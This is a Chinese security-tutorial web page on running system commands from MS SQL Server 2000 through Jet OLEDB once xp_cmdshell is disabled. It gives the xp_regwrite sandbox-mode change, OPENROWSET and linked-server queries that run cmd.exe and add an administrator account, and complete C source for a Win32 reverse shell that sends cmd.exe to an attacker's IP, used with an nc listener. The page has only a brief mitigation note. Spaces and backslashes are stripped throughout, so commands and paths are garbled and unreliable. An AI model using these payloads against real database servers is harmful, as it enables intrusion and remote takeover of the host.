不用xp_cmdshell照样执行命令_安全教程-查字典教程网
不用xp_cmdshell照样执行命令
不用xp_cmdshell照样执行命令
发布时间:2016-12-26 来源:查字典编辑
摘要:利用jet执行shell命令比想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径nt/2k:x:winntsystem32...

利用jet执行shell命令比想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径

nt/2k:x:winntsystem32

xp/2003:x:windowssystem32

解决办法:

如果不需要RDS支持,请删除x:ProgramFilesCommonFilesSystemMsadcmsadcs.dll

仅仅修改注册表是不够的,具体看下文详述

当然除了IAS.mdb这个之外,还有其他的mdb文件也可以,只要文件存在即可

2003的system32下就有两个:ias.mdb和dnary.mdb

其他系统你可以dir/a/s*.mdb看一下,如果有新发现,欢迎补充

如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试

当然如果野蛮一点,四个轮流来一遍也行。

首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。

出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:

execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1

注:

0禁止一切(默认)

1使能访问ACCESS,但是禁止其它

2禁止访问ACCESS,但是使能其他

3使能一切

事实上,对有DB_OWNER权限即可执行,但是执行后面一条语句会有不同要求,不能直接执行,详见下面语句解释。

然后利用jet.oledb执行系统命令,这个仅仅需要%SystemRoot%读权限即可,还是比较宽松的,所以危害也就相当高了

对于只有DB_OWNER权限的用户,需要建立链接数据库的方式来进行访问,不允许直接访问,至于是否能访问成功,尚未测试。有兴趣的可以自行测试一下,欢迎补充。

MSDN上说:

“sp_addlinkedserver:Executepermissionsdefaulttomembersofthesysadminandsetupadminfixedserverroles.”

实际发现sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin权限即可执行,而DB_OWNER拥有数据库的全部权限,理论上应该可以成功。

这里仅给出sysadmin权限下使用的命令:

select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:winntsystem32iasias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')

建立链接数据库'L0op8ack'参考命令:

EXECsp_addlinkedserver'L0op8ack','OLEDBProviderforJet','Microsoft.Jet.OLEDB.4.0','c:windowssystem32iasias.mdb'

验证截图如下(WIN2003sp1装MSSQL2Ksp3环境中的测试效果,使用了sysadmin权限):

附:

无法连接数据库服务器时(数据库一般不对外开放,但一般可以对外访问),

可以使用反弹dosshell方式,改写成bindshell也很容易,呵呵!

======================CUThere=======================

//name:win32connectbackshellsourcecodefornt/2K/xp/2003

//compile:clwin32cbsh.c(vc6)

//usage:

//onyourpc:nc-l-p{listenport}

//onvitimpc:win32cbsh{yourip}{listenport}

//warning:ifthere'snoparameterspecified,itwillcause"fatalerror"

#include<winsock2.h>

#pragmacomment(lib,"ws2_32")

intmain(intargc,char**argv)

{

WSADATAwsaData;

SOCKEThSocket;

STARTUPINFOsi;

PROCESS_INFORMATIONpi;

structsockaddr_inadik_sin;

memset(&adik_sin,0,sizeof(adik_sin));

memset(&si,0,sizeof(si));

WSAStartup(MAKEWORD(2,0),&wsaData);

hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);

adik_sin.sin_family=AF_INET;

adik_sin.sin_port=htons(atoi(argv[2]));

adik_sin.sin_addr.s_addr=inet_addr(argv[1]);

if(0!=connect(hSocket,(structsockaddr*)&adik_sin,sizeof(adik_sin)))return-1;

si.cb=sizeof(si);

si.dwFlags=STARTF_USESTDHANDLES;

si.hStdInput=si.hStdOutput=si.hStdError=(void*)hSocket;

CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);

return0;

}

使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合

sp_addlinkedserver需要sysadmin或setupadmin权限

sp_addlinkedsrvlogin需要sysadmin或securityadmin权限

最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,

一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,

我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败

需要找一个一般用户可访问的mdb才可以:

EXECsp_addlinkedserver'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:winntsystem32iasias.mdb';--

execsp_addlinkedsrvlogin'L0op8ack','hacker';--

SELECT*FROMOPENQUERY(L0op8ack,'SELECTshell("cmd.exe/cnetuser")');--

execsp_droplinkedsrvlogin'L0op8ack','hacker';--

execsp_dropserver'L0op8ack';--

我的sql2ksp3里面sp_addserverlogin后面要带用户名称,加true/false都报无此用户错误

呵呵,不过最终还是失败了

原来的过程也可以注入的,打了sp之后就没有了

摘一段T-SQL参考,实际上这是T-SQL引用异类OLEDB数据源的两种方法

openrowset需要sa权限,想用sp_addlinkserver/openquery突破一下,最终发现不能成功

============================================

分布式查询构架

Microsoft®SQLServer™2000支持两种在Transact-SQL语句中引用异类OLEDB数据源的方法,:

1)链接服务器名称

系统存储过程sp_addlinkedserver和sp_addlinkedsrvlogin用于给OLEDB数据源提供服务器名称。可以使用由四个部分构成的名称在Transact-SQL语句中引用这些链接服务器中的对象。例如,如果链接服务器的名称DeptSQLSrvr是用SQLServer2000的另一个复本定义的,下面的语句引用该服务器上的一个表:

SELECT*FROMDeptSQLSrvr.Northwind.dbo.Employees

也可以在OPENQUERY语句中指定链接服务器的名称以从OLEDB数据源打开一个行集。之后,可以在Transact-SQL语句中像引用表一样引用该行集。

2)特殊连接器名称

在很少引用数据源时,OPENROWSET或OPENDATASOURCE函数是用连接到链接服务器时所需的信息指定的。之后,可以在Transact-SQL中使用与引用表相同的方法引用行集:

SELECT*

FROMOPENROWSET('Microsoft.Jet.OLEDB.4.0',

'c:MSOfficeAccessSamplesNorthwind.mdb';'Admin';'';

Employees)

SQLServer2000使用OLEDB在关系引擎和存储引擎之间通讯。关系引擎将每个Transact-SQL语句分解为一系列操作,这些操作在由存储引擎从基表打开的简单OLEDB行集上执行。这意味着关系引擎也可以在任何OLEDB数据源上打开简单OLEDB行集。

1.execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SoftwareMicrosoftJet4.0EngineSandBoxMode',REG_DWORD,0写一个注册表的值,开启Access沙盒模式。也就是可在非Application里执行的功能。

2.用OpenRowSet打开一个Access文件.在%windir%system32ias里有4个这样的文件。随便拿来用

3.执行的函数如下

FunctionShell(ByValCommandAsString)AsLong

本文来源于[捌度空间],原文链接:http://www.8-du.net/Article/2008/0514/article_40240.html

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新安全教程学习
    热门安全教程学习
    实用技巧子分类